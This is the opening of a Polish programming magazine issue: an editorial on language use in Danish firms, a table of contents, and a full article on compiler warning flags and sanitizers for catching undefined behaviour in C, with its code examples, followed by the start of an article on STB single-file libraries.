Download as pdf or txt
Download as pdf or txt
You are on page 1of 76

#

/* Skandynawska ścieżka */

Kiedy piszę te słowa, sezon wakacyjny trwa w najlepsze, klienci uda- inaczej niż u nas. Kariera zawodowa duńskiego inżyniera to przede
li się na urlopy, a możliwość wprowadzania zmian w infrastrukturze wszystkim praca w firmach krajowych (ale oczywiście niekoniecznie
i systemach w większości uległa zamrożeniu. Mnie ten okres zawsze o zasięgu jedynie lokalnym). Język duński jako „obowiązujący” w pracy
skłania do podsumowań i przemyśleń, nawet bardziej niż końcówka to nie jakiś dziwny przypadek, a wręcz przeciwnie – standard. Analo-
roku. Dziś chciałbym opowiedzieć, czego zazdroszczę Duńczykom (od gicznie, jak podpowiadają znajomi, wygląda to w innych krajach skan-
razu zaznaczę, że nie będzie o „państwie socjalnym” ani PKB -- a przy- dynawskich, a także np. w Niemczech czy Francji.
najmniej nie wprost). Z kolei w Polsce, jak wskazują dostępne dane, choćby doroczny ra-
Ale skąd w ogóle ten pomysł? Otóż jest sobie pewna firma, będą- port ABSL (Związek Liderów Sektora Usług Biznesowych), większość
ca dostawcą usług i infrastruktury dla duńskiego sektora finansowe- z nas pracuje w firmach międzynarodowych lub świadczących usługi
go. Firma istnieje już prawie dwie dekady i do niedawna zatrudniała dla takich firm [2]. W konsekwencji traktujemy posługiwanie się angiel-
wyłącznie lokalnie, w Danii. Kilka lat temu zdecydowała się jednak za- skim w pracy jako coś zupełnie naturalnego, nawet pracując w firmie
trudniać kontraktorów z naszego kraju, a ponieważ od ponad półtora 100% polskiej.
roku jestem jednym z nich, mam możliwość obserwacji od środka, jak Kiedy zastanawiałem się nad tym, czy ta różnica ma jakieś konse-
przebiega tak duża zmiana organizacyjna. kwencje, przypomniałem sobie o Europejskim Raporcie Innowacyj-
Poprzednio cała komunikacja firmowa odbywała się w języku duń- ności (EIS 2021) [3]. Całe podium przypada w nim krajom nordyckim
skim, co po prostu w nowej sytuacji musiało ulec zmianie. Ponieważ (Skandynawia + Finlandia), a następne są Benelux i Niemcy. Jedynym
znajomość tego języka w Polsce nie jest powszechna, podobnie jak państwem z naszej części Europy powyżej średniej unijnej jest Estonia.
niski jest odsetek Duńczyków władających polszczyzną – językiem A Polska, niestety, na miejscu czwartym… od końca. Czy to przypadko-
obowiązującym stał się oczywiście angielski. wa koincydencja? Intuicja podpowiada mi, że niekoniecznie. Co jest
Spójrzmy na ranking EF EPI (English Proficiency Index) – Dania przyczyną, a co skutkiem? Pracujemy dla zagranicznych firm z braku
na drugim miejscu [1]. Myślę, że zaskoczenia nie ma. Jak wypada alternatywy? Czy może odwrotnie – firmy zachodnie, dysponując więk-
Polska? Nieco gorzej, ale nadal dobrze – trafiliśmy do drugiej grupy szymi budżetami, „podkradają” specjalistów, utrudniając powstawanie
(proficiency: High). Świetnie, skoro wszyscy znają dobrze angielski, i rozwój innowacyjnych polskich firm? A może obie odpowiedzi są po-
można by się było spodziewać, że temat zamknięty. Tymczasem, po prawne? Z tymi pytaniami was zostawiam, oczywiście zastrzegając,
dobrych kilkudziesięciu miesiącach, nadal zdarza się, że nowe doku- że powodów niskiej pozycji Polski w rankingu innowacyjności z pewno-
menty, prezentacje, formularze tworzone są w języku duńskim. Cza- ścią jest wiele (w tym ekonomicznych, politycznych czy społecznych).
sem także maile mające na liście adresatów osoby z Polski, mimo Niemniej, o ile rzeczywistość jest złożona i prostych recept nie ma,
tego, że wszyscy, z którymi się choć raz kontaktowałem, posługują się efekty są łatwo widoczne. Przykładem jest np. to, że Polacy regular-
angielskim zupełnie swobodnie. Dałoby się to łatwo wytłumaczyć przy- nie wypadają świetnie na Międzynarodowej Olimpiadzie Informatycz-
zwyczajeniem, gdyby nie fakt, że zdarza się to nie tylko pracownikom nej, a nie powstała na razie nad Wisłą druga Dolina Krzemowa. Albo
z dwudziestoletnim stażem (i adekwatną liczbą przeżytych wiosen), właśnie to, że przeważająca część z nas, pracując dla firm zagranicz-
ale także młodym, świeżo po uniwersytecie. Duńczycy to przemili lu- nych, de facto buduje ich innowacyjność. Silna gospodarka, tworząca
dzie, w pracy zachowujący się bardzo profesjonalnie, dlatego celowe innowacyjne i atrakcyjne miejsca pracy – tego można pozazdrościć
działanie „na złość” wydawało mi się mało prawdopodobne – taka hi- Duńczykom. Komunikacja w języku ojczystym jest jedynie tego faktu
poteza mogłaby wyjaśniać co najwyżej pojedyncze incydenty. konsekwencją.
Postanowiłem więc z koleżankami i kolegami Duńczykami o tym
Jarosław Górny
porozmawiać – sprawdzić, jak oni to widzą i tłumaczą. Z mojego, mało
profesjonalnego, riserczu dowiedziałem się, że nie przyszła mi do gło- [1] https://www.ef.pl/epi/regions/europe/
[2] https://absl.pl/storage/app/uploads/public/5ee/887/8d5/5ee8878d59858995982318.pdf
wy jeszcze jedna rzecz – rynek pracy (nie tylko IT) wygląda w Danii [3] https://ec.europa.eu/docsroom/documents/46411/attachments/1/translations/pl/renditions/native

/* REKLAMA */
SPIS TREŚCI

BIBLIOTEKI I NARZĘDZIA
6 # Zaprzyjaźnij się z kompilatorem. Krótki przewodnik po flagach
01010000
01110010
> Dominik Adamski

12 # STB: jednoplikowe, otwarte biblioteki dla języków C i C++


> Rafał Kocisz

PROGRAMOWANIE ROZWIĄZAŃ SERWEROWYCH


22 # Projektowanie usług w Kotlin i Spring Boot w pigułce
> Łukasz Kokot
01101111
PROGRAMOWANIE APLIKACJI WEBOWYCH
32 # API Platform – szybkie tworzenie przystępnego REST API w PHP
> Adrian Chojnicki
01100111
BEZPIECZEŃSTWO
40 # Przegląd błędów w CPythonie
> Dominik 'Disconnect3d' Czarnota
01110010
50 # Wstrzykiwanie szablonów jako nieoczywista pułapka na programistę
> foxtrot_charlie 01100001
01101101
56 # XS-Leaks: sztuka subtelnych wycieków danych
> Michał Bentkowski

Z ARCHIWUM CVE

01101001
64 # Błąd uwierzytelnienia w OpenBSD
> Mariusz Zaborski

PLANETA IT

01110011
66 # Programowanie napotyka cyberbezpieczeństwo
> Michał Zbyl

01110100
01100001
ZAMÓW PRENUMERATĘ MAGAZYNU PROGRAMISTA

Przez formularz na stronie:.............................http://programistamag.pl/typy-prenumeraty/


Na podstawie faktury Pro-forma:.........................redakcja@programistamag.pl

Prenumerata realizowana jest także przez RUCH S.A.


Zamówienia można składać bezpośrednio na stronie:.......www.prenumerata.ruch.com.pl
Pytania prosimy kierować na adres e-mail:...............prenumerata@ruch.com.pl
Kontakt telefoniczny:...................................801 800 803 lub 22 717 59 59*

*godz. 7 : 00 – 18 : 00 (koszt połączenia wg taryfy operatora)

Magazyn Programista wydawany jest przez Dom Wydawniczy Anna Adamczyk Nota prawna
Wydawca/Redaktor naczelny: Anna Adamczyk (annaadamczyk@programistamag.pl). Redaktor prowadzący: Redakcja zastrzega sobie prawo do skrótów i opracowań tekstów oraz do zmiany planów
Mariusz „maryush” Witkowski (mariuszwitkowski@programistamag.pl). Korekta: Tomasz Łopuszański. Kierownik wydawniczych, tj. zmian w zapowiadanych tematach artykułów i terminach publikacji, a także
produkcji/DTP: Krzysztof Kopciowski. Dział reklamy: reklama@programistamag.pl, tel. +48 663 220 102, nakładzie i objętości czasopisma.
tel. +48 604 312 716. Prenumerata: prenumerata@programistamag.pl. Współpraca: Michał Bartyzel, Mariusz O ile nie zaznaczono inaczej, wszelkie prawa do materiałów i znaków towarowych/firmowych
Sieraczkiewicz, Dawid Kaliszewski, Marek Sawerwain, Łukasz Mazur, Łukasz Łopuszański, Jacek Matulewski, zamieszczanych na łamach magazynu Programista są zastrzeżone. Kopiowanie i rozpowszechnianie
Sławomir Sobótka, Dawid Borycki, Gynvael Coldwind, Bartosz Chrabski, Rafał Kocisz, Michał Sajdak, Michał ich bez zezwolenia jest Zabronione.
Bentkowski, Paweł „KrzaQ” Zakrzewski, Radek Smilgin, Jarosław Jedynak, Damian Bogel (https://kele.codes/), Redakcja magazynu Programista nie ponosi odpowiedzialności za szkody bezpośrednie
Michał Zbyl, Dominik 'Disconnect3d' Czarnota. Adres wydawcy: Dereniowa 4/47, 02-776 Warszawa. i pośrednie, jak również za inne straty i wydatki poniesione w związku z wykorzystaniem informacji
Druk: http://www.edit.net.pl/, Nakład: 4500 egz. prezentowanych na łamach magazy­nu Programista.
BIBLIOTEKI I NARZĘDZIA

Zaprzyjaźnij się z kompilatorem


Krótki przewodnik po flagach

Zaawansowane metody optymalizacji mogą przyczynić się do generowania trudnych do wy-


krycia błędów, jeśli kod wejściowy nie jest napisany zgodnie ze standardem. Wykrycie źró-
dła nieprawidłowości może być trudne i zależne od wielu czynników, np. wersji kompilatora
i stopnia optymalizacji. Część problemów można wyeliminować, korzystając z rozbudowanej
diagnostyki, jaką oferują kompilatory.

S tandard języka C zakłada, że pewne operacje są niezdefiniowane


(np. dzielenie przez zero) i nie mogą one wystąpić w prawdziwym
kodzie. Twórcy kompilatorów wykorzystują ten fakt w celu opraco-
Nadmiarowy średnik przy słowie kluczowym else powoduje,
że funkcja zawsze zwraca wartość 1 niezależnie od wartości pa-
rametru number. Jest to mylące, ponieważ czytając jedynie nazwę
wywania coraz bardziej wyrafinowanych metod optymalizacji kodu. funkcji, można zakładać, że wartość zwracana przez tę funkcję bę-
Zakładając, że opisane w standardzie sytuacje nie mogą mieć miej- dzie zależała od tego, czy przekazany argument jest liczbą parzy-
sca, kompilator może rozszerzyć obszar optymalizacji i wygenerować stą. Kompilator GCC 11.1 domyślnie nie zwróci uwagi, że kod jest
bardziej wydajny kod wynikowy. Warto zaznaczyć, że kompilator nie sformatowany w sposób mylący dla człowieka, i nie wygeneruje
nie musi wykrywać wyrażeń niezdefiniowanych podczas procesu ostrzeżenia dotyczącego możliwej pomyłki, ponieważ kod z Listin-
kompilacji. Według standardu to programista jest zobowiązany do gu 1 jest napisany zgodnie z wymaganiami standardu. Dodanie fla-
tworzenia poprawnego kodu. Jeśli programista popełni błąd i do- gi -Wmisleading-indentation przy kompilacji za pomocą GCC
puści do pojawienia się operacji niezdefiniowanej, to kompilator ma 11.1 powoduje wygenerowanie ostrzeżenia, że formatowanie kodu
pełną dowolność, w jaki sposób taki kod zostanie przetworzony. Spo- z tego listingu nie zgadza się z drzewem składniowym, jakie odpo-
sób obsługi niepoprawnego kodu wejściowego może zależeć od wielu wiada analizowanej funkcji. Taka niezgodność może być przyczyną
czynników: wersji kompilatora, stopnia optymalizacji czy architektu- przeoczenia błędu logicznego z Listingu 1. Dzięki dodatkowej in-
ry procesora. Istnieje szansa, że w pewnych warunkach skompilowa- formacji programista może zmodyfikować swój kod, tak aby był on
ny program będzie zachowywał się zgodnie z intencją programisty, czytelniejszy.
podczas gdy na innej platformie będą obserwowane nieskorelowane
błędy. W konsekwencji wykrycie przyczyny może być żmudne i cza-
WALL, WEXTRA, WPEDANTIC?
sochłonne. Na szczęście można ograniczyć ryzyko zaimplemento-
wania niedozwolonej operacji poprzez dodanie odpowiednich opcji Kompilatory oferują wiele flag sterujących szczegółowością ostrze-
diagnostycznych na etapie budowania i testowania kodu. żeń, które mogą być przekazane podczas procesu budowania. Część
opcji jest włączona domyślnie, inne muszą zostać wywołane przez

KORZYŚCI Z ROZBUDOWANEJ programistę. GCC i Clang klasyfikują najpopularniejsze opcje w dwie


grupy, które można włączyć, przekazując kompilatorowi flagi -Wall
DIAGNOSTYKI lub -Wextra. Te dwie opcje zawierają zbiory typów ostrzeżeń, któ-
Dodatkowe opcje diagnostyczne pozwalają również na szybkie wy- re zostały uznane za pomocne przy wykrywaniu błędów w kodzie.
krycie sytuacji, w których kod wejściowy jest napisany zgodnie ze Opcja -Wall sprawia, że kompilator próbuje wykryć sytuacje, które
standardem, niemniej jednak jest on niewłaściwie sformatowany mogą wynikać z przypadkowej pomyłki programisty i jednocześnie
i może wprowadzać w błąd. Przykład takiego kodu przedstawiono nie zakłócają procesu kompilacji. Te ostrzeżenia stanowią informa-
w Listingu 1. cje dla programisty, że dane fragmenty kodu mogą zawierać ukryte
błędy logiczne i powinny zostać uważnie sprawdzone pod kątem ich
Listing 1. Sytuacja, w której błąd logiczny jest trudny do zauważenia ze
względu na formatowanie kodu zgodności z oczekiwaną funkcjonalnością. Flaga -Wextra obejmu-
je dodatkowe opcje, które pozwalają rozszerzyć zakres sprawdzania
int isEven(unsigned int number) {
int res = 0; możliwych pomyłek [1].
if (number % 2) Flagi -Wall i -Wextra są respektowane przez kompilatory Clang
res = 0;
//nadmiarowy średnik i GCC [1] [2]. Zakres sprawdzania kodu różni się jednak zarówno
else; pomiędzy konkurującymi ze sobą projektami, jak i poszczególnymi
res = 1;
return res; wersjami tego samego projektu. Sprawdzanie kodu nie tylko pod
}
kątem zgodności z regułami gramatycznymi języka, ale także pod
kątem możliwych pomyłek programistycznych jest intensywnie roz-
wijane. Z tego powodu nowsze wersje kompilatorów mogą oferować

<6> { 4 / 2021 < 98 > }


BIBLIOTEKI I NARZĘDZIA

szerszy wachlarz sprawdzania poprawności kodu wejściowego. Może Listing 4. Przykład kodu wykorzystującego rozszerzenia GCC i Clanga nie-
się zdarzyć, że potencjalny błąd nie zostanie wykryty przy użyciu zgodnych ze standardem C

jednego narzędzia do budowania, ale zostanie on rozpoznany przez int isInRange(int option) {
inne. Ten problem zilustrowano w Listingu 2, w którym kod jest taki switch (option) {
//rozszerzenie GCC i Clanga
sam, jak w przypadku Listingu 1, a jedyna różnica polega na braku case 1 ... 3:
return 1;
formatowania. W przypadku niesformatowanego kodu i dodanych
}
flag -Wall i -Wextra kompilator GCC 11.1 ostrzega, że po słowie return 0;
}
kluczowym else jest średnik i w efekcie zbiór instrukcji wykonywa-
nych, gdy argument num jest podzielny przez 2, jest zbiorem pustym.
Clang 12 nie zgłasza żadnych zastrzeżeń do kodu wejściowego, cho- Powodem, który sprawia, że kompilator MSVC zgłasza błąd, jest uży-
ciaż wygenerowany kod nie spełnia założeń programisty, który chciał cie wyrażenia case 1 ... 3, które nie jest przewidziane w standar-
napisać funkcję testującą parzystość liczb. Clang wygeneruje ostrze- dzie języka C. Jest to rozszerzenie, które jest wspierane przez GCC
żenie przy dodanych flagach -Wall i -Wextra, jeśli kod wejściowy i Clang. Flaga -Wpedantic dołączona do wywołania GCC lub Clanga
zostanie sformatowany tak jak w Listingu 1. rozszerza sprawdzanie kodu pod kątem zgodności z wersją standar-
du, który jest określany przez flagę -std=wersja_języka [1]. Uży-
Listing 2. Przykład kodu, dla którego ostrzeżenia są różne pomimo zastoso-
wania tych samych flag dla GCC i Clanga cie rozszerzenia języka, które nie jest zdefiniowane w standardzie,
jest odnotowane, dzięki czemu programista ma szansę przepisać kod
int isEven(unsigned int number) {
w oparciu o powszechnie dozwolone wyrażenia.
int res = 0;
if (number % 2)
res = 0;
//nadmiarowy średnik DODATKOWE FLAGI – LEPSZY KOD
else;
res = 1; Przedstawione do tej pory opcje poszerzające diagnostykę podczas
return res; budowania projektu dotyczyły dwóch aspektów: zwiększenia zgod-
}
ności kodu ze standardem języka oraz poprawności kodu pod kątem
wysokopoziomowych założeń (np. mylące formatowanie, które spra-
Niektóre flagi dotyczące ostrzeżeń są aktywowane w GCC, jeśli zo- wia, że łatwo jest przeoczyć błąd logiczny jak w Listingu 1). Innym
stanie włączona optymalizacja [1]. Jedną z takich opcji jest -Wnull- celem, jaki może być osiągnięty za pomocą dodatkowych flag, jest
dereference, która informuje programistę o wykryciu sytuacji, gdy wskazywanie już na etapie kompilacji fragmentów kodu, które mogą
ten próbuje uzyskać wartość, na jaką wskazuje wskaźnik NULL [1]. przyczynić się do spadku wydajności docelowej aplikacji. W Listin-
W Listingu 3 przedstawiono funkcję, która próbuje zwrócić wartość, gu 5 przedstawiono funkcję, która mnoży swój argument przez 0.5.
jaka jest zapisana pod adresem NULL. Domyślnie operacje, w których występuje literał zmiennoprzecinko-
wy, są realizowane przy pomocy arytmetyki zmiennoprzecinkowej
Listing 3. Przykład błędu, który nie zawsze zostanie wykryty przez GCC
o podwójnej precyzji [3]. Takie obliczenia mogą zająć dużo czasu,
int foo() { jeśli są wykonywane na platformie, która nie ma sprzętowego wspar-
int *ptr = NULL;
//niedozwolona operacja cia dla takich operacji (np. procesory ARM Cortex-M4 [4]). Flaga
int res = *ptr; GCC -Wdouble-promotion [1] pozwoli na wykrycie przypadków
return res;
}
niepotrzebnej konwersji już na etapie kompilacji kodu. Dzięki temu
programista ma szansę napisać wydajniejszy kod bez potrzeby profi-
lowania docelowej aplikacji.
GCC 11.1 poinformuje o niedozwolonej operacji w funkcji foo, tylko
Listing 5. Przykład kodu, który będzie nieefektywny na procesorze ARM
jeśli zostanie uruchomiona optymalizacja co najmniej na poziomie Cortex-M4
-O1 i dodana flaga -Wnull-dereference.
float doublePromotion(float factor) {
Listingi 2 i 3 pokazują, że stopień wykrywania potencjalnych błę- return factor * 0.5;
dów zależy od danego kompilatora i jego konfiguracji. Z tego powo- }

du dobrym pomysłem jest budowanie projektu za pomocą kilku róż-


nie skonfigurowanych narzędzi. Pozwala to maksymalnie rozszerzyć
JAK NIE ROZWIĄZYWAĆ
sprawdzanie kodu na etapie kompilacji i wykryć możliwie szybko
ZGŁOSZONYCH OSTRZEŻEŃ
dużą ilość błędów.
Kompilatory oferują autorskie rozszerzenia, które z jednej strony Problemy, jakie zostały zgłoszone przez kompilator, są zazwyczaj ła-
ułatwiają pracę programiście, a z drugiej mogą powodować kompli- twe do rozwiązania. Warto jednak pamiętać o tym, że wygenerowa-
kacje przy przenoszeniu kodu na inne platformy. W Listingu 4 przed- ne błędy są często symptomem poważniejszych mankamentów, jakie
stawiono przykład kodu, którego nie można skompilować za pomocą mogą kryć się w kodzie. Z tego powodu proces usuwania zgłoszo-
kompilatora MSVC 19.14, natomiast kompilacja przy wykorzystaniu nych ostrzeżeń nigdy nie powinien być rutynowy. Celem programi-
GCC i Clanga przebiega bez zastrzeżeń, nawet jeśli załączone są flagi sty nie powinno być jedynie usunięcie bezpośredniej przyczyny, ale
-Wall i -Wextra. wyeliminowanie potencjalnego błędu wynikającego z nieprawidłowej

<8> { 4 / 2021 < 98 > }


/ Zaprzyjaźnij się z kompilatorem /

logiki programu. W Listingu 6 przedstawiono funkcję, której wynik sza zastrzeżenia dotyczące takich wyrażeń przy załączonych flagach
trudno przewidzieć, jeśli przekazany argument funkcji będzie liczbą -std=c++17 -Wall[1]. Niektóre algorytmy sprawdzania popraw-
nieujemną. ności kodu mogą zgłaszać fałszywie pozytywne ostrzeżenia, jak np.
-Warray-bounds=2 w GCC, który sprawdza, czy nie nastąpiła próba
Listing 6. Funkcja, której zwracana wartość może zależeć od niezainicjalizo-
wanej zmiennej odczytu lub zapisu poza ostatni element tablicy [1]. Inny przykład
flagi, która nie jest rekomendowana, to -Weverything w Clangu,
int foo(int num) {
int res; która uruchamia wszystkie, nawet eksperymentalne metody spraw-
if (num < 0) dzania kodu [2].
res = -1;
// wynik nieokreślony,
// gdy num >= 0
return 4/res; BRAK OSTRZEŻEŃ = POPRAWNY KOD?
}
Nie ma gwarancji, że nawet najbardziej restrykcyjne ostrzeżenia po-
Clang z dodaną opcją -Wall zgłosi ostrzeżenie, że zmienna res może zwolą na wczesne wykrycie wszystkich potencjalnych błędów. Funk-
być niezainicjalizowana, jeśli wartość parametru num będzie większa cja div z Listingu 9 jest poprawna, dopóki nie nastąpi próba urucho-
od zera. Wyeliminowanie ostrzeżenia jest proste: wystarczy podać mienia jej z argumentem b = 0. Na etapie kompilacji funkcji div
wartość początkową zmiennej res. Zainicjalizowanie zmiennej war- nie można określić, czy funkcja będzie zawsze wywoływana w sposób
tością 0, tak jak w Listingu 7, sprawi, że kompilator nie zgłosi zastrze- bezpieczny. Jedynie przeanalizowanie wszystkich wywołań funkcji
żeń, jednak kod będzie zawierał niezdefiniowaną operację (dzielenie div w czasie pracy programu wykorzystującego badany kod pozwoli
przez zero), jeśli argument funkcji foo będzie nieujemny. na odpowiedź, czy jest on używany w sposób bezpieczny.

Listing 7. Przykład źle rozwiązanego ostrzeżenia z listingu 6 Listing 9. Przykład potencjalnie niebezpiecznej funkcji

int foo(int num) { int div(int a, int b) {


// brak ostrzeżenia return a / b;
int res = 0; }
if (num < 0)
res = -1;
// operacja niezdefiniowana, Sytuacja pokazana w Listingu 9 ilustruje ograniczenia związane ze
// gdy num >= 0
return 4/res;
statyczną analizą kodu. Określenie, czy kod zawiera operacje nie-
} zdefiniowane w standardzie, jest w niektórych sytuacjach niemożli-
we bez przetestowania programu. W takich przypadkach przydatna
Kod z Listingu 7 pomimo wyeliminowania ostrzeżeń jest gorszy niż może okazać się funkcjonalność kompilatora, która umożliwia testo-
ten z Listingu 6, ponieważ jedynie ukrywa poważny błąd. Głównym wanie działających programów pod kątem występowania operacji
problemem, jaki powinien rozwiązać programista, jest zdefiniowanie niezdefiniowanych w standardzie lub innych potencjalnie groźnych,
oczekiwanego zachowania funkcji foo dla liczb nieujemnych. Jeśli a trudno wykrywalnych błędów, jak np. operacje arytmetyczne na
funkcja foo ma działać jedynie dla liczb mniejszych od zera, można liczbach bez znaku, których wynik jest większy niż maksymalna war-
uprościć funkcję foo tak jak w Listingu 8. Dodanie instrukcji assert tość, jaka może być zapisana do liczby bez znaku.
stanowi zabezpieczenie przed próbą wywołania funkcji foo dla nie-
odpowiednich wartości parametru num. Możliwe są inne implemen-
SANITIZERY – DYNAMICZNE
tacje, które eliminują ostrzeżenie. Ocena ich poprawności zależy od
WYKRYWANIE PUŁAPEK
wymagań, jakie stawiane są funkcji foo.
Narzędzia te stanowią rozszerzenie możliwości sprawdzania kodu
Listing 8. Przykład poprawnie rozwiązanego ostrzeżenia z Listingu 6
pod kątem braku operacji niezdefiniowanych w standardzie. Kompi-
int foo(int num) { latory GCC i Clang udostępniają opcję weryfikowania kodu w trakcie
// brak ostrzeżenia
int res = -1; jego działania [6]. W języku angielskim ta funkcjonalność nosi na-
// funkcja jest określona, zwę sanitizer. Jest to nawiązanie do czynności dezynfekcyjnych, któ-
// gdy num < 0
assert(num < 0); re mają za zadanie wyeliminować potencjalne „pluskwy” (ang. bugs)
return 4/res;
}
z aplikacji. W porównaniu ze statyczną analizą, która jest przepro-
wadzana w czasie kompilacji, sanitizery mają możliwość sprawdze-

IM WIĘCEJ, TYM LEPIEJ? nia programu w trakcie jego działania, dzięki czemu wygenerowane
ostrzeżenia są dokładniejsze, ponieważ wykrywają groźne sytuacje,
Do tej pory analizowane były przypadki, kiedy rozbudowana diagno- które mogą zostać niezauważone podczas kompilacji. Eliminowane
styka umożliwiała zauważyć ukryty błąd i już na etapie kompilacji jest także ryzyko wystąpienia fałszywie pozytywnych ostrzeżeń, jak
programista mógł rozwiązać wykryte problemy. Nie zawsze jednak to może mieć miejsce w przypadku bardziej zaawansowanych flag,
wygenerowane ostrzeżenia odzwierciedlają rzeczywiste pułapki, ja- takich jak wspomniana wcześniej opcja -Warray-bounds=2. Wadą
kie kryją się w kodzie. Standard C++17 określa kolejność wykony- sanitizerów jest konieczność dłuższego testowania programu. Odpo-
wania operacji typu a = a++; [5]. Pomimo że tego typu operacja wiedź na pytanie, czy sprawdzany program jest w pełni prawidłowy,
jest całkowicie legalna od wersji C++17, kompilator GCC nadal zgła- uzyskujemy dopiero po zbudowaniu projektu i uruchomieniu go

{ WWW.PROGRAMISTAMAG.PL } <9>
BIBLIOTEKI I NARZĘDZIA

z typowymi argumentami, co jednak znacznie wydłuża czas testowa- W przypadku sprawdzania kodu pod kątem operacji niezdefinio-
nia. Należy także wyodrębnić zbiór wartości wejściowych, z jakimi wanych istnieje możliwość pominięcia linkowania dodatkowej biblio-
warto sprawdzać zbudowaną aplikację, co także może nie być zada- teki. W tym celu należy dodać opcję -fsanitize-undefined-trap-
niem prostym. on-error podczas kompilacji kodu źródłowego do pliku binarnego [7].
Sanitizery opierają się o instrumentację kodu wejściowego. Do Pominięcie dodatkowej biblioteki powoduje zakończenie działania
kodu wejściowego dołączane są wywołania funkcji sprawdzających programu przy pierwszej wykrytej nieprawidłowej operacji. W celu
poprawność wykonywanego kodu. Zakres instrumentacji zależy od zdiagnozowania przyczyny należy użyć debuggera, ponieważ nie są
wybranego rodzaju diagnostyki [7]. Istnieje możliwość weryfikowa- dostępne przejrzyste komunikaty podobne do tych z Listingu 12.
nia poprawności nie tylko pod kątem pojedynczych typów operacji Dodanie sanitizerów do testowanej aplikacji wiąże się ze spad-
niezdefiniowanych (jak np. dzielenie przez zero), ale także bardziej kiem wydajności. Narzut związany z dodatkowym sprawdzeniem
złożonych zagadnień, jak np. zależności między wątkami lub wła- zależy od rodzaju przeprowadzanych testów. W przypadku opcji
ściwego zarządzania pamięcią. Wszystkie dostępne opcje są wymie- -fsanitize=address, która odpowiada za testowanie pod kątem
nione w dokumentacji kompilatora [7] [10]. Niezależnie od wybra- właściwego zarządzania pamięcią (np.wykrywa podwójne zwalnianie
nego typu sposób korzystania z sanitizerów jest podobny – należy zaalokowanej pamięci), należy liczyć się z około dwukrotnie dłuż-
dodać odpowiednie flagi -fsanitize=typ_sanitizera na etapie szym czasem wykonywania i dwukrotnie większą ilością potrzebnej
kompilacji i linkowania, a następnie uruchomić testowaną aplikację. pamięci [8], podczas gdy testowanie pod kątem niezdefiniowanych
W Listingu 10 przedstawiono przykładowy kod zawierający niezde- opercji tak jak w Listingu 11 nie wiąże się z większą ilością wyko-
finiowaną operację (przepełnienie liczby całkowitej ze znakiem). rzystywanej pamięci i przyczynia się do nieznacznie dłuższego czasu
Sposób uruchomienia zaprezentowano w Listingu 11. Oprócz flag działania programu [9].
uruchamiających sanitizer -fsanitize=undefined dodane są także
flagi -g oraz -fno-omit-frame-pointer, które zapewniają czytel-
PODSUMOWANIE
niejsze komunikaty w przypadku wykrytego błędu [8]. Przekazanie
opcji -fsanitize=undefined do linkera zapewnia, że wszystkie wy- Zaprezentowane w artykule opcje stanowią jedynie fragment dostęp-
magane zależności sanitizera zostaną uwzględnione. Dodana opcja nych narzędzi, które umożliwiają szybkie wykrycie potencjalnych
-O1 gwarantuje szybsze wykonywanie badanego kodu dzięki urucho- błędów. Przedstawienie wszystkich możliwości weryfikacji pod kątem
mionym optymalizacjom, które nie ingerują mocno w strukturę pro- niezgodności ze standardem znacznie wykracza poza ramy tego ar-
gramu. Ustawienie zmiennej środowiskowej UBSAN_OPTIONS=print_ tykułu. Niezależnie od wybranych narzędzi dodatkowe sprawdzanie
stacktrace=1 pozwoli na otrzymanie dokładniejszych logów kodu przyczynia się do zapewnienia wysokiej jakości końcowej apli-
pokazujących kolejność wywoływanych funkcji dla wykrytej operacji kacji. Wyeliminowanie nieprawidłowych operacji znacznie rozszerza
niezdefiniowanej [8]. Przykładowe logi zawierające dokładne infor- możliwości automatycznej optymalizacji kodu. Zamiast ręcznej mo-
macje dotyczące nieprawidłowej operacji zawarto w Listingu 12. dyfikacji, developerzy mogą spróbować dodać do procesu budowania
zaawansowane metody usprawniania kodu, takie jak optymalizacja
Listing 10. Przykład programu zawierającego niezdefiniowaną operację
czasu linkowania (ang. Link Time Optimization – LTO), lub skorzy-
---test.c--- stać z bardziej wydajnego kompilatora. Zaoszczędzony w ten sposób
#include <limits.h>
czas można przeznaczyć na rozwój nowych funkcjonalności.
int overflow(int a) {
return a + INT_MAX;
}
Bibliografia
int main() {
//przepełnienie [1] https://gcc.gnu.org/onlinedocs/gcc-11.1.0/gcc/Warning-Options.html#Warning-Options
return overflow(1); [2] https://clang.llvm.org/docs/UsersManual.html#options-to-control-error-and-warning-messages
} [3] http://www.open-std.org/jtc1/sc22/WG14/www/docs/n1570.pdf – sekcja 6.3.1
[4] https://dzone.com/articles/be-aware-floating-point-operations-on-arm-cortex-m
Listing 11. Sposób uruchomienia sanitizera [5] https://en.cppreference.com/w/cpp/language/eval_order
[6[ https://github.com/google/sanitizers/wiki
[7] https://tinyurl.com/2w8wjsdx
# kompilacja
[8] https://github.com/google/sanitizers/wiki/AddressSanitizer
> gcc -fsanitize=undefined -O1 \
[9] https://m-peko.github.io/craft-cpp/posts/be-wise-sanitize-keeping-your-cpp-code-free-from-bugs/
-g -fno-omit-frame-pointer \
[10] https://clang.llvm.org/docs/
-c test.c
# linkowanie
> gcc -fsanitize=undefined test.o -o test
# testowanie
> UBSAN_OPTIONS=print_stacktrace=1 ./test
D OMINIK ADAMSKI
Listing 12. Logi otrzymane po uruchomieniu programu test z sanitizerem
adamski.dominik@gmail.com
test.c:4:13: runtime error: \
Programista w Mobica Limited. Zwolennik maksy-
signed integer overflow: 1 + 2147483647 \
cannot be represented in type 'int' malnego wykorzystania dostępnych narzędzi pro-
gramistycznych w celu uzyskania jak najbardziej
#0 0x5602d8dc819c in overflow test.c:4 wydajnego kodu. Aktywnie działa w łódzkiej gru-
#1 0x5602d8dc819c in main test.c:9
pie CEHUG, która ma na celu dzielenie się wiedzą
z zakresu szeroko pojętych systemów wbudowa-
nych. Prywatnie pasjonat górskich wędrówek.

<10> { 4 / 2021 < 98 > }


BIBLIOTEKI I NARZĘDZIA

STB: jednoplikowe, otwarte biblioteki dla języków C i C++


Jednoplikowe biblioteki STB stanowią ciekawą alternatywę dla klasycznych (wieloplikowych
i prekompilowanych) bibliotek dla języków C i C++. Stosowane tam eleganckie i pragmatyczne
rozwiązanie można też łatwo zaadaptować do własnych projektów. Niniejszy artykuł ma na celu
zapoznać czytelnika z koncepcją bibliotek jednoplikowych i zachęcić do korzystania z nich.

SŁODKO-GORZKI JĘZYK C++ wiście podejmowane są próby budowania odpowiednich narzędzi


automatyzujących ten proces, ale żadne z nich nie jest rozwiązaniem
Co mogę napisać o C++ w 2021 roku? Słodko-gorzki wydaje mi się uniwersalnym.
być tym określeniem, które najlepiej oddaje mój stosunek do tego Odpowiedź Barretta na ten problem wydaje się być na pierw-
